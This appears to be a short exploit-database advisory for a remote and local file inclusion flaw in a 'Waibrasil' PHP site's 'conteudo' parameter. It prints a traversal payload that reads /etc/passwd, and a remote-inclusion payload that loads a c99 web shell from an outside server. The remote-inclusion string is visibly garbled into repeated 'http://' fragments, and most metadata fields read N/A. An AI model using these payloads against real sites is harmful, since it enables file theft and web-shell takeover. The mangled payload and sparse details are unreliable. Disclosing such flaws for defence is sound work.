vendor:
webapps
by:
eXeSoul
7,5
CVSS
HIGH
RFI / LFI
94
CWE
Product Name: webapps
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: Apcahe/Unix
2010
Waibrasil Remote / Local File Inclusion
Waibrasil Remote / Local File Inclusion vulnerability allows an attacker to include a file from a remote or local server via a vulnerable web application. The attacker can exploit this issue by manipulating the 'conteudo' parameter value in a malicious manner to execute arbitrary code. The vulnerable code can be found in the 'index.php' script. The attacker can use the 'hhttp://thttp://thttp://phttp://:http:////http://http://http://http://http://http://server/c99.txt?' exploit to include a remote file from a malicious server. The live demo of this exploit can be seen in the 'http://[site]/index.php?conteudo=../../../../etc/passwd' URL.
Mitigation:
The best way to mitigate this vulnerability is to restrict the access to the vulnerable parameter and validate the user input.
